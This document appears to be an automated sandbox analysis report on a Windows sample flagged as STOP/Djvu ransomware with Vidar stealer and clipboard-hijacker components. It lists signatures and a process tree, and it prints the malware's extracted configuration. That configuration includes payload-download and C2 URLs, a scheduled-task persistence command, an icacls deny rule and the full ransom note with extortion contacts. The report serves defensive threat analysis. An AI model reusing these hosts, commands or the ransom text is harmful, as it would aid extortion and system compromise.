Edit tour

Windows Analysis Report
AaIo4VGgvO.exe

Overview

General Information

Sample name:	AaIo4VGgvO.exe renamed because original name is a hash value
Original sample name:	9f91afdb58b312a555db2978d7157150.exe
Analysis ID:	1430572
MD5:	9f91afdb58b312a555db2978d7157150
SHA1:	96d3de3ac3ca32efcc3d911b0389e13f43ae1c13
SHA256:	946e4a86f1cb22fab17f7e3a9a0422421e781b99357436e816ddb00e5154ed48
Tags:	exeStop
Infos:

Detection

Babuk, Clipboard Hijacker, Djvu, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Found ransom note / readme

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Yara detected AntiVM3

Yara detected Babuk Ransomware

Yara detected Clipboard Hijacker

Yara detected Djvu Ransomware

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies existing user documents (likely ransomware behavior)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Uses schtasks.exe or at.exe to add and modify task schedules

Writes a notice file (html or txt) to demand a ransom

Writes many files with high entropy

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops certificate files (DER)

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after checking a module file name)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses cacls to modify the permissions of files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

AaIo4VGgvO.exe (PID: 7328 cmdline: "C:\Users\user\Desktop\AaIo4VGgvO.exe" MD5: 9F91AFDB58B312A555DB2978D7157150)

AaIo4VGgvO.exe (PID: 7344 cmdline: "C:\Users\user\Desktop\AaIo4VGgvO.exe" MD5: 9F91AFDB58B312A555DB2978D7157150)

icacls.exe (PID: 7420 cmdline: icacls "C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc" /deny *S-1-1-0:(OI)(CI)(DE,DC) MD5: 2E49585E4E08565F52090B144062F97E)

AaIo4VGgvO.exe (PID: 7444 cmdline: "C:\Users\user\Desktop\AaIo4VGgvO.exe" --Admin IsNotAutoStart IsNotTask MD5: 9F91AFDB58B312A555DB2978D7157150)

AaIo4VGgvO.exe (PID: 7460 cmdline: "C:\Users\user\Desktop\AaIo4VGgvO.exe" --Admin IsNotAutoStart IsNotTask MD5: 9F91AFDB58B312A555DB2978D7157150)

build2.exe (PID: 7624 cmdline: "C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe" MD5: A04031208441077A014F42095FF86107)

build2.exe (PID: 7644 cmdline: "C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe" MD5: A04031208441077A014F42095FF86107)

build3.exe (PID: 7704 cmdline: "C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe" MD5: 41B883A061C95E9B9CB17D4CA50DE770)

build3.exe (PID: 8016 cmdline: "C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe" MD5: 41B883A061C95E9B9CB17D4CA50DE770)

schtasks.exe (PID: 8040 cmdline: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 8048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AaIo4VGgvO.exe (PID: 7520 cmdline: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe --Task MD5: 9F91AFDB58B312A555DB2978D7157150)

AaIo4VGgvO.exe (PID: 7540 cmdline: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe --Task MD5: 9F91AFDB58B312A555DB2978D7157150)

AaIo4VGgvO.exe (PID: 7772 cmdline: "C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe" --AutoStart MD5: 9F91AFDB58B312A555DB2978D7157150)

AaIo4VGgvO.exe (PID: 7848 cmdline: "C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe" --AutoStart MD5: 9F91AFDB58B312A555DB2978D7157150)

mstsca.exe (PID: 8108 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 2076 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

schtasks.exe (PID: 3156 cmdline: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 5180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AaIo4VGgvO.exe (PID: 7372 cmdline: "C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe" --AutoStart MD5: 9F91AFDB58B312A555DB2978D7157150)

AaIo4VGgvO.exe (PID: 7380 cmdline: "C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe" --AutoStart MD5: 9F91AFDB58B312A555DB2978D7157150)

mstsca.exe (PID: 3140 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 7808 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 8068 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 5692 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 7332 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 4412 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Babuk	Babuk Ransomware is a sophisticated ransomware compiled for several platforms. Windows and ARM for Linux are the most used compiled versions, but ESX and a 32bit old PE executable were observed over time. as well It uses an Elliptic Curve Algorithm (Montgomery Algorithm) to build the encryption keys.	No Attribution	http://chuongdong.com/reverse%20engineering/2021/01/03/BabukRansomware/ https://blog.cyble.com/2022/05/06/rebranded-babuk-ransomware-in-action-darkangels-ransomware-performs-targeted-attack/ https://blog.morphisec.com/babuk-ransomware-variant-major-attack https://blog.talosintelligence.com/2021/11/babuk-exploits-exchange.html https://chuongdong.com/reverse%20engineering/2021/01/16/BabukRansomware-v3/	https://malpedia.caad.fkie.fraunhofer.de/details/win.babuk

Name	Description	Attribution	Blogpost URLs	Link
STOP, Djvu	STOP Djvu Ransomware it is a ransomware which encrypts user data through AES-256 and adds one of the dozen available extensions as marker to the encrypted file's name. It is not used to encrypt the entire file but only the first 5 MB. In its original version it was able to run offline and, in that case, it used a hard-coded key which could be extracted to decrypt files.	No Attribution	https://angle.ankura.com/post/102het9/the-stop-ransomware-variant https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/ https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/	https://malpedia.caad.fkie.fraunhofer.de/details/win.stop

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199673019888"]}

Threatname: Djvu

{"Download URLs": ["http://sdfjhuz.com/dl/build2.exe", "http://cajgtus.com/files/1/build3.exe"], "C2 url": "http://cajgtus.com/test1/get.php", "Ransom note file": "_README.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nDo not ask assistants from youtube and recovery data sites for help in recovering your data.\r\nThey can use your free decryption quota and scam you.\r\nOur contact is emails in this text document only.\r\nYou can get and look video overview decrypt tool:\r\nhttps://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27\r\nPrice of private key and decrypt software is $999.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $499.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshingmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0863PsawqS", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw0Ftq9GtunuzQZHGiqoG\\\\n8S4cMO\\/Bdgsd+jTtFbVs1bX4OXiYKnMXg4LclKMEHJ2gnP2X09BkzA29UJQlagak\\\\nuAL7j7iRagKeU4tAB8w9rziBYoa9zROqer7J6pf5B11vAvvRq4b3127kAxnMhpgo\\\\ns7MQC7pXIvTkEeGySeG+F5fjSMPUoF1\\/cAg6GuSWOPXoPvXKRA\\/mo+xyHVOKZe2+\\\\nSCpbMHAyMe7o4w\\/i\\/pVjv9g8pRDJtz14qtMuAR38ek+SPJ4PJCxA9e0tOi+p4yNn\\\\nvnFKoL5OwzoF+bvVHnTA7tk4fXB3AyaL9llS0kxEWS7x\\/kNYQyJPh9fimryM03Cy\\\\n1wIDAQAB\\\\n-----END PUBLIC KEY-----"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000011.00000002.1944837632.00000000009FC000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x7934:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000007.00000002.1730456687.0000000001A90000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000E.00000002.1855306265.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000000E.00000002.1855306265.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000000E.00000002.1855306265.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
0000001E.00000002.3633201823.0000000000820000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000001E.00000002.3633201823.0000000000820000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x27a3:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001E.00000002.3633201823.0000000000820000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x249a:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x2527:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x2527:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x284d:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x28d5:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
0000000B.00000002.1828199611.0000000005E20000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000B.00000002.1828199611.0000000005E20000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000005.00000002.1692559144.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000005.00000002.1692559144.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000009.00000002.1854481318.0000000000A2D000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x756c:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000001A.00000002.2400599599.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000001A.00000002.2400599599.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001A.00000002.2400599599.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
0000001C.00000002.3013186700.0000000000890000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000001C.00000002.3013186700.0000000000890000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x27a3:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001C.00000002.3013186700.0000000000890000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x249a:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x2527:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x2527:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x284d:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x28d5:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000007.00000002.1730589370.0000000001C8E000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1168:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000019.00000002.2401576580.0000000000960000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x6f8c:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000001E.00000002.3633295170.0000000000840000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x708c:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000017.00000002.2097463056.0000000004403000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.1653647341.0000000004494000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000017.00000002.2097684064.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000017.00000002.2097684064.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000003.00000002.1672788679.0000000005E60000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000003.00000002.1672788679.0000000005E60000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000001F.00000002.3632649195.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000001F.00000002.3632649195.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
